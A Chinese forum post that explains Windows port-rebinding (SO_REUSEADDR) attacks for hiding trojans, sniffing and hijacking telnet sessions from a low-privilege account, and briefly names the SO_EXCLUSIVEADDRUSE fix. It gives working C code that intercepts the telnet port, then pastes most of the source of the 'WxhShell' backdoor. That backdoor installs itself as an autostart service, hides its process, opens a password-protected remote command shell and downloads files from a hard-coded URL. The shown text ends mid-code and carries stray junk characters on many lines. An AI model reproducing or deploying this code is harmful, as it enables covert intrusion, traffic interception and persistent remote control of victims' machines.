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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'h;x>r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .q9i10C  
vkW]?::Cfd  
  saddr.sin_family = AF_INET; VY "i>Ae  
79>_aD9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CM+/.y T  
gv9z`[erS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tCr? !Y~  
jUy$aGX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]f3R;d  
KJ8Qi+cZ  
  这意味着什么?意味着可以进行如下的攻击: r<-@.$lf  
PA>su)N$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1'9YY")#  
k_7agW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cy#N(S[ 1  
]o*-|[^?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D,, x<JG|  
-P=Hp/ELi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9E]7Etfw  
NU!B|l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O:W4W=K  
d# q8-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &BQ%df<y\  
LArfX,x3i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Vc| uQ8Mi  
|&H(skF_  
  #include p`3$NCJN  
  #include *\F,?yU  
  #include l*n4d[0J  
  #include    *]* D^'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +AL(K:  
  int main() +U,>D +  
  { 2f.4P]s`T  
  WORD wVersionRequested; o'p[G]NQ1o  
  DWORD ret; &!O~ f  
  WSADATA wsaData; !7aJfs2  
  BOOL val; Bhw|!Y&%  
  SOCKADDR_IN saddr; ^ot9Q  
  SOCKADDR_IN scaddr; '1Q [&  
  int err; =bB7$#al  
  SOCKET s; 73kL>u  
  SOCKET sc; v(z2,?/4  
  int caddsize; &Ch~$Wb^  
  HANDLE mt; 'Mm=<Bh  
  DWORD tid;   )>rHM6-W  
  wVersionRequested = MAKEWORD( 2, 2 ); {Qj7?}xW  
  err = WSAStartup( wVersionRequested, &wsaData ); =E' .T0v  
  if ( err != 0 ) { hS +R /7  
  printf("error!WSAStartup failed!\n"); V2_I=]p_  
  return -1; >X-*Hu'U#  
  } \o{rw0w0  
  saddr.sin_family = AF_INET; Com`4>0>I  
   Shb"Jc_i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RT+_e  
5mB'\xGO2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z7um9g  
  saddr.sin_port = htons(23); TeWpdUCO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $(eqZ<y  
  { ?<-ins  
  printf("error!socket failed!\n"); oY0`igH  
  return -1; UqZ#mKi  
  } MuQ'L=iJ  
  val = TRUE; Yq0=4#_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K44j-Ypb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9!|+GIjn  
  { @m Id{w z  
  printf("error!setsockopt failed!\n"); MyJG2C#R  
  return -1; B5fF\N^  
  } {>R'IjFc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D'3. T{*rH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R3Ka^l8R|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <.B^\X$  
Jl(G4h V'\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D^e7%FX  
  { :T #"bY  
  ret=GetLastError(); ;#Pc^Yzc1  
  printf("error!bind failed!\n"); $yg=tWk  
  return -1; 61{IXx_  
  } F_C_K"[s  
  listen(s,2); *;y n_zg  
  while(1) gTjhD(  
  { /yS/*ET8  
  caddsize = sizeof(scaddr); !E|k#c9  
  //接受连接请求 Wg ?P"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #Do#e {=+  
  if(sc!=INVALID_SOCKET) 2OQDG7#Kc  
  { B!zqvShF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cJ!C=J  
  if(mt==NULL) ,=Fn6'  
  { yCG<qQz  
  printf("Thread Creat Failed!\n"); @%sr#YqY  
  break; 1I -LGe[Q  
  } +F3`?6UXz  
  } hCKx%&[^7  
  CloseHandle(mt); JOm6Zc  
  } J=C63YB  
  closesocket(s); =FtJa3mHK  
  WSACleanup(); K]Onb{QY  
  return 0; K JX@?1"  
  }   e<[0H 8  
  DWORD WINAPI ClientThread(LPVOID lpParam) OGqsQ  
  { ,%%}d9  
  SOCKET ss = (SOCKET)lpParam; fK{[=xMr@  
  SOCKET sc; JDy;Jb  
  unsigned char buf[4096]; =j{r95)|u  
  SOCKADDR_IN saddr; b&1-tYV  
  long num; <m3or  
  DWORD val; /)E'%/"A  
  DWORD ret; du k:: |{F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 KGoHn6jM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l`A4)8Y@  
  saddr.sin_family = AF_INET; ,t=12R]>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,dO$R.h  
  saddr.sin_port = htons(23); )mbRG9P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XU19+mW=P  
  { J%n{R60b  
  printf("error!socket failed!\n"); SS/t8Y4W  
  return -1; SJdi*>  
  } bR;Zc  
  val = 100; C5^eD^[c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `DPR >dd@  
  { ko%B`  
  ret = GetLastError(); $ZOKB9QccC  
  return -1; (66DKG   
  } p>@S61 & [  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y?>us  
  { ] 336FgT  
  ret = GetLastError(); 'o*:~n  
  return -1; ,$qqHSd1M  
  } qm&Z_6Pw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y4B< ]C4  
  { J|BZ{T}d  
  printf("error!socket connect failed!\n"); VF<C#I  
  closesocket(sc); 6(X5n5C  
  closesocket(ss); 66+y@l1  
  return -1; t9Nu4yl  
  } * (4TasQu  
  while(1) 4JD 8w3u/  
  { GqrOj++>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  !&Z,ev  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U5z}i^8a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {)vue0 vP  
  num = recv(ss,buf,4096,0); Q$(0Nx<  
  if(num>0) n*oa J<o%  
  send(sc,buf,num,0); A' \jaB  
  else if(num==0) <XHS@|  
  break; "n3i (sZ  
  num = recv(sc,buf,4096,0); ;5.o;|w?!  
  if(num>0) 6!3Jr  
  send(ss,buf,num,0); u8wZ2j4S  
  else if(num==0) g#ZuRL  
  break; Yv`8{_8L  
  } kH43 T  
  closesocket(ss); R;XR?59:.  
  closesocket(sc); ?"aj&,q+  
  return 0 ; PZdYkbj  
  } =!#iC?I  
GD$jP?  
`37GVo4  
========================================================== '1}rQqZ  
; YaR|)B  
下边附上一个代码,,WXhSHELL }bv0~}G4  
7 \ <4LX  
========================================================== ~Lc>~!!t  
q-.e9eoc\  
#include "stdafx.h" !vQ!_|g1  
UEq;}4Bo  
#include <stdio.h> I>27U<PX  
#include <string.h> >t"]gQHtx  
#include <windows.h> (Jw[}&+  
#include <winsock2.h> !k&~|_$0@  
#include <winsvc.h> [LonY49  
#include <urlmon.h> id-VoHd K  
Hr$oT=x[  
#pragma comment (lib, "Ws2_32.lib") MGO.dRy_  
#pragma comment (lib, "urlmon.lib") c#G]3vTdE  
n(Up?_  
#define MAX_USER   100 // 最大客户端连接数 $l&&y?()  
#define BUF_SOCK   200 // sock buffer ~?}/L'q!b  
#define KEY_BUFF   255 // 输入 buffer }eX_p6bBw  
X*~NE\  
#define REBOOT     0   // 重启 4M8AYh2)  
#define SHUTDOWN   1   // 关机 16\U'<  
vII8>x%*  
#define DEF_PORT   5000 // 监听端口 /s%I(iP4  
1>*]jj}  
#define REG_LEN     16   // 注册表键长度 Gc9^Z=  
#define SVC_LEN     80   // NT服务名长度 ~^.&nph  
9xg_M=72  
// 从dll定义API 2`* %NJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x~GV#c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s9A'{F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); er5}=cFZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B-[SUmHr  
Xl6)&   
// wxhshell配置信息 YF{K9M!  
struct WSCFG { JLAg-j2  
  int ws_port;         // 监听端口 c 3@SgfKmk  
  char ws_passstr[REG_LEN]; // 口令 Xh]\q)  
  int ws_autoins;       // 安装标记, 1=yes 0=no .;tO;j |6  
  char ws_regname[REG_LEN]; // 注册表键名 F!>K8q  
  char ws_svcname[REG_LEN]; // 服务名 xgR*j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T , =ga  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >B~jPU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ud:?~?j&w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K23_1-mbe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~rCnST  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9L#B"lh  
,.FTw,<  
}; z%/ww7H  
r-YQsu&  
// default Wxhshell configuration TjI NxP-O  
struct WSCFG wscfg={DEF_PORT, e+R.0E  
    "xuhuanlingzhe", xdo{4XY^*W  
    1, ^y6Pkb P  
    "Wxhshell", E2*"~gL^,  
    "Wxhshell", xYu~}kMu  
            "WxhShell Service", @?]-5~3;  
    "Wrsky Windows CmdShell Service", \S7OC   
    "Please Input Your Password: ", %y w*!A1  
  1, )N=b<%WD   
  "http://www.wrsky.com/wxhshell.exe", N~>?w#?J  
  "Wxhshell.exe" CJKH"'u3^  
    }; Z `\7B e  
^}1RDdQ"U  
// 消息定义模块 oh@r0`J]x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3`9*Hoy0c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PYHm6'5BtB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $PS5xD~@  
char *msg_ws_ext="\n\rExit."; b"FsT  
char *msg_ws_end="\n\rQuit."; yL Q&<\  
char *msg_ws_boot="\n\rReboot..."; 18A&[6"!  
char *msg_ws_poff="\n\rShutdown..."; A[ iP s9  
char *msg_ws_down="\n\rSave to "; 6vaxp|D  
$g$`fR)  
char *msg_ws_err="\n\rErr!"; 3+|6])Hi1  
char *msg_ws_ok="\n\rOK!"; uBE,z>/,;  
<Ab:yD`K!  
char ExeFile[MAX_PATH]; (Z"Xp{u  
int nUser = 0; ~$\j$/A8/  
HANDLE handles[MAX_USER]; 1UM]$$:i  
int OsIsNt; .V.N^8(:a  
dY-a,ch"8p  
SERVICE_STATUS       serviceStatus; >Au<y,Tw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >A,WXzAK}S  
3N*Shzusbt  
// 函数声明 G>RYQ{O  
int Install(void); C(0Iv[~y/  
int Uninstall(void); 17i^|&J6}:  
int DownloadFile(char *sURL, SOCKET wsh); =hs@W)-O  
int Boot(int flag); PRz oLzr  
void HideProc(void); %xZ.+Ff%  
int GetOsVer(void); F{"%ey">  
int Wxhshell(SOCKET wsl); kN$70N7I;  
void TalkWithClient(void *cs); H0(zE *c~  
int CmdShell(SOCKET sock); Fp]8f&l8  
int StartFromService(void); -.*\J|S@g  
int StartWxhshell(LPSTR lpCmdLine); a ;S^<8  
UUU^YT \  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C95,!q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |TUpv*pq  
Np-D:G  
// 数据结构和表定义 ^r& {V"l]  
SERVICE_TABLE_ENTRY DispatchTable[] = ?0(B;[xEJ  
{ O^xt  
{wscfg.ws_svcname, NTServiceMain}, nDOIE)#  
{NULL, NULL} B)Q'a3d#  
}; a,4g`?  
V]O :;(W_  
// 自我安装 Ur-^X(nL  
int Install(void) ZkIQ-;wx  
{ LuqaGy}>-  
  char svExeFile[MAX_PATH]; IB6]Wj  
  HKEY key; ;?o C=c  
  strcpy(svExeFile,ExeFile); sR 9F:  
Ii,:+o%  
// 如果是win9x系统,修改注册表设为自启动 p_AV3   
if(!OsIsNt) { $K KaA{0-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ax^'unfQ:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h[8y$.YsC  
  RegCloseKey(key); #CS>A# Lk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lX4p'R-h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2bJFlxEU  
  RegCloseKey(key); c'B"Onu@m*  
  return 0; "n6Y^  
    } l =yHx\  
  } 9A_7:V]_  
} |i`@!NrFL  
else { E&+ ^H on  
6-=_i)kzq  
// 如果是NT以上系统,安装为系统服务 }gW}Vr <  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7asq]Y}<  
if (schSCManager!=0) XJzXxhk2  
{ dc>y7$2  
  SC_HANDLE schService = CreateService itF+6wv~  
  ( ?W n(ciO  
  schSCManager, :65HMWy.  
  wscfg.ws_svcname, W*<]`U_.  
  wscfg.ws_svcdisp, <C$<(Dw5  
  SERVICE_ALL_ACCESS, jyGVbno`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E%^28}dN  
  SERVICE_AUTO_START, yx2.7h3  
  SERVICE_ERROR_NORMAL, 4B]61|A  
  svExeFile, 6\3k0z  
  NULL, [KH?5 C  
  NULL, F&*M$@u5  
  NULL, S0+zq<  
  NULL, 9^ r  
  NULL C' ._}\nX  
  ); 2f!oA~|2  
  if (schService!=0) YP<]f>SBt  
  { QVW6SY  
  CloseServiceHandle(schService); jEsTw_  
  CloseServiceHandle(schSCManager); V)2_T!e%*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =b7&(x  
  strcat(svExeFile,wscfg.ws_svcname); dNQSbp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T]|O/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gn"&/M9E  
  RegCloseKey(key); OQ7c| O  
  return 0; AuTplO0_rE  
    } sPg6eAd~?  
  } k^pu1g=6I  
  CloseServiceHandle(schSCManager); Y/0O9}hf  
} j>*SJtq7  
} $Jm2,Yv  
6Qb)Uq3}]  
return 1; u mlZ(??.  
} ikhX5 &e  
ku;nVV  
// 自我卸载 l,u{:JC  
int Uninstall(void) @'*#]YU8  
{ CLfb`rF  
  HKEY key; $-]setdY  
^,K.)s  
if(!OsIsNt) { d&bc>Vt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z]TVH8%|k  
  RegDeleteValue(key,wscfg.ws_regname); ]7t\%_  
  RegCloseKey(key); LtztjAm.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uAs*{:4n  
  RegDeleteValue(key,wscfg.ws_regname); +&,\ J9'B  
  RegCloseKey(key); PAwg&._K  
  return 0; [T]qm7 ?  
  } MNqyEc""  
} g u =fq\`  
} ZYe\"|x,s  
else { ]zU<=b@  
Sqf.#}u<=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KN:dm!A  
if (schSCManager!=0) :EwA$`/  
{ F[=lA"F^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yl<$yd0Zdu  
  if (schService!=0) }AW)R&m  
  { }pnFJ  
  if(DeleteService(schService)!=0) { j{R|]SjW2H  
  CloseServiceHandle(schService); |/^aL j^u  
  CloseServiceHandle(schSCManager); % `T5a<  
  return 0; M3@fc,Ch  
  } 8.Ef5-m  
  CloseServiceHandle(schService); ?gwbg*  
  } m=\eL~ h  
  CloseServiceHandle(schSCManager); %]0U60  
} #}7m'F  
} HQ`nq~%&(  
~|{)h^]@  
return 1; Vfm #UvA  
} L*01l"5  
{2k< k(,  
// 从指定url下载文件 o>;0NF| }  
int DownloadFile(char *sURL, SOCKET wsh) &IEBZB\/+&  
{ T{4fa^c2J  
  HRESULT hr; 1+tt'  
char seps[]= "/"; BMWeD  
char *token; &@utAuI  
char *file; X,EYa>RSy_  
char myURL[MAX_PATH]; P9i9<pR  
char myFILE[MAX_PATH]; vDeG20.?Z  
sQ:VrXwP  
strcpy(myURL,sURL); y7)[cvB  
  token=strtok(myURL,seps); N"1x]1'   
  while(token!=NULL) RrU~"P1C  
  { k\&IFSp  
    file=token; <<On*#80w  
  token=strtok(NULL,seps); 1X"H6j[w  
  } \v3> Eo[  
f93rY<  
GetCurrentDirectory(MAX_PATH,myFILE); % r   
strcat(myFILE, "\\"); 7R<u=U  
strcat(myFILE, file); Ed&,[rC  
  send(wsh,myFILE,strlen(myFILE),0); Na 9l#  
send(wsh,"...",3,0); $ l sRg:J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .V 3X#t  
  if(hr==S_OK) Pv %vx U  
return 0; KT;C RO>  
else 2@m(XT (  
return 1; v8[ek@  
b|ksMB>)  
} &Wv`AoV  
"o#)vA`  
// 系统电源模块 ssX6kgq_(  
int Boot(int flag) @)Hbgkdi  
{ kYA'PW/[ )  
  HANDLE hToken; 95?5=T F  
  TOKEN_PRIVILEGES tkp; [+MH[1Vr={  
U~#^ ^  
  if(OsIsNt) { >RL6Jbo|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `k{ff  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w[ YkTv  
    tkp.PrivilegeCount = 1; v`+n`DT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F {*9[jY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {uwk[f{z  
if(flag==REBOOT) { $, &g AU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \B>[je-d  
  return 0; )_X xk_  
} t`8e#n 9  
else { \|pK Z6*s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wO_pcNYZ8  
  return 0; OZC/+"\,  
} !w#ru?L{  
  } ;sck+FP7w  
  else { d%_78nOh"  
if(flag==REBOOT) { Qk~0a?#y5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $-fjrQ  
  return 0; 0 bPJEEd  
} k$0|^GL8  
else { [Z5}2gB&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \p3nd!OIG  
  return 0; PD}SPOA`U3  
} cGpN4|*rQ  
} q0b`HD  
!|Xl 8lV`  
return 1; :L [YmZ  
} N1+4bR  
r>Qyc  
// win9x进程隐藏模块 rq'##`H  
void HideProc(void) 3vRL g b  
{ #zSi/r/=1  
9#s95R O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >Oi2gPA  
  if ( hKernel != NULL ) x<{;1F,k3  
  { &w;^m/zP3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); > G4HZE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5}X<(q(  
    FreeLibrary(hKernel); Z}LOy^TL  
  } @\6nXf  
%7C%`)T]  
return; nv_m!JG7  
} p-Rm,xyL%  
6_9:Eb=^v!  
// 获取操作系统版本 `b^#quz  
int GetOsVer(void) oA!5dpNhU  
{ - 5o<Q'(  
  OSVERSIONINFO winfo; 5Aa31"43n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x  tYV"  
  GetVersionEx(&winfo); $K6?(x_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #!8^!}nFO  
  return 1; "5o;z@(  
  else i3M?D}(Bs  
  return 0; ]uStn   
} U!a!|s>  
[U%ym{be ^  
// 客户端句柄模块 je- , S>U  
int Wxhshell(SOCKET wsl) @Hspg^  
{ F= _uNq  
  SOCKET wsh; Cz=A{< ^g  
  struct sockaddr_in client; VW{aUgajO  
  DWORD myID; { .aK{ V  
To#E@Nw  
  while(nUser<MAX_USER) "q9~ C  
{ $ ,; ;u:-  
  int nSize=sizeof(client); ~{1/*&P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NK  
  if(wsh==INVALID_SOCKET) return 1; Rm,[D)D^0N  
_XY`UZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <K DH  
if(handles[nUser]==0) XI@6a9Uk  
  closesocket(wsh); ` x%U  
else 5T$9'5V7  
  nUser++; 0\\ueMj  
  } {2}tPT[a(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zqHpT^B?  
pIID= 8RJ.  
  return 0; Wz6]*P`qv  
} xecieC  
||{T5E-.F  
// 关闭 socket 5YTb7M  
void CloseIt(SOCKET wsh) *} *!+C3  
{ QQ^Gd8nQ  
closesocket(wsh); L~*|,h  
nUser--; xQNw&'|UU  
ExitThread(0); _dYf  
} msA' 5>  
ShL1'Z} ^{  
// 客户端请求句柄 X[GIOPDx  
void TalkWithClient(void *cs) VZT6;1TD$8  
{ 1&X}1  
u#a%(  
  SOCKET wsh=(SOCKET)cs; :DOr!PNA  
  char pwd[SVC_LEN]; o9KyAP$2  
  char cmd[KEY_BUFF]; bc3|;O  
char chr[1]; [+hy_Nc$  
int i,j; V]l&{hl,  
Mv/IMO0rR  
  while (nUser < MAX_USER) { GN:Ru|n  
s jL*I  
if(wscfg.ws_passstr) { 763E 6,7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NqiB8hZ~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L Yh@ u1p  
  //ZeroMemory(pwd,KEY_BUFF); pchQ#GU  
      i=0; i_ |9<7a  
  while(i<SVC_LEN) { ?o2;SY(-  
Nd]0ta  
  // 设置超时 XAjd %Xv<  
  fd_set FdRead; B,~f "  
  struct timeval TimeOut; jGO9n  
  FD_ZERO(&FdRead); .+{nA}Bc  
  FD_SET(wsh,&FdRead); EpRXjz  
  TimeOut.tv_sec=8; /~H[= Pf  
  TimeOut.tv_usec=0; /[\6oa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <u6c2!I{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eP V-yy  
G*kE~s9R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 07.nq;/R  
  pwd=chr[0]; 3c01uObTL  
  if(chr[0]==0xd || chr[0]==0xa) { lTa1pp Zw  
  pwd=0; ljN zYg~-  
  break; *0=fT}&!  
  } Nc G,0K  
  i++; KotPV  
    } +90u!r^v  
Ak xH  
  // 如果是非法用户,关闭 socket #=X)Jx~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9uA, +  
} Y*5Z)h 1  
7ZS>1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UJ7'JBT=k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jK3giT  
T$:>*  
while(1) { ?cqicN.+6  
gJ]Cq/gC  
  ZeroMemory(cmd,KEY_BUFF); "sFW~Y  
Oamv9RyDvC  
      // 自动支持客户端 telnet标准   ^dFh g_GhF  
  j=0; gsW=3m&`  
  while(j<KEY_BUFF) { Z 6 tE{/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?RZq =5Um&  
  cmd[j]=chr[0]; k%{ l4  
  if(chr[0]==0xa || chr[0]==0xd) { 1Z\(:ab13  
  cmd[j]=0; 5gO /-Zj  
  break; %l Q[dXp  
  } J$1j-\KS  
  j++; N YCj; ,V  
    } 5){tBK|  
zx ct(  
  // 下载文件 q]F4Lq(  
  if(strstr(cmd,"http://")) { EYA/CI   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o^6jyb!j  
  if(DownloadFile(cmd,wsh)) 4uFIpS|rq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Z_t%J5QZ$  
  else [_j6cj]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :9(3h"  
  } \M+MDT&  
  else { gdOe)il\  
0LS -i%0  
    switch(cmd[0]) { N2ni3M5v  
  %,33gZzf  
  // 帮助 E|Q{]&$;Z"  
  case '?': { S  <2}8D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nHrP>zN  
    break; :_>\DJ'>  
  } L_E^}^1!  
  // 安装 xcHen/4X  
  case 'i': { D0f*eSXE{  
    if(Install()) Y [4vRzc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4S'[\ZJO  
    else E3y6c)<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U?^OD  
    break; lco~X DI  
    } ^SEc./$  
  // 卸载 Tj Mb>w9  
  case 'r': { DG3[^B  
    if(Uninstall()) I"B8_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Q> "\_,  
    else }6<)yW}U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h5x*NM1Ih  
    break; {W-5:~?"  
    } }I\-HP8!gv  
  // 显示 wxhshell 所在路径 :=y0'f V(@  
  case 'p': { Dzo{PstM%  
    char svExeFile[MAX_PATH]; e"*BHvy F  
    strcpy(svExeFile,"\n\r"); R_7 6W&  
      strcat(svExeFile,ExeFile); IeZ&7u  
        send(wsh,svExeFile,strlen(svExeFile),0); UIQQ \,3  
    break; ~ W@X-  
    } :]yg  
  // 重启 `Uv)Sf{  
  case 'b': { DTPay1]6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8}bZ [  
    if(Boot(REBOOT)) "t=UX -3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &D]&UQf  
    else { 5qC:yI  
    closesocket(wsh); }X.>4\B5  
    ExitThread(0); 3!>/smb !  
    } +yCTH  
    break; mqdOu{kQ  
    }  '6O|H  
  // 关机 {>/)5 AGs  
  case 'd': { &2Q*1YXj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b"Zq0M0 l  
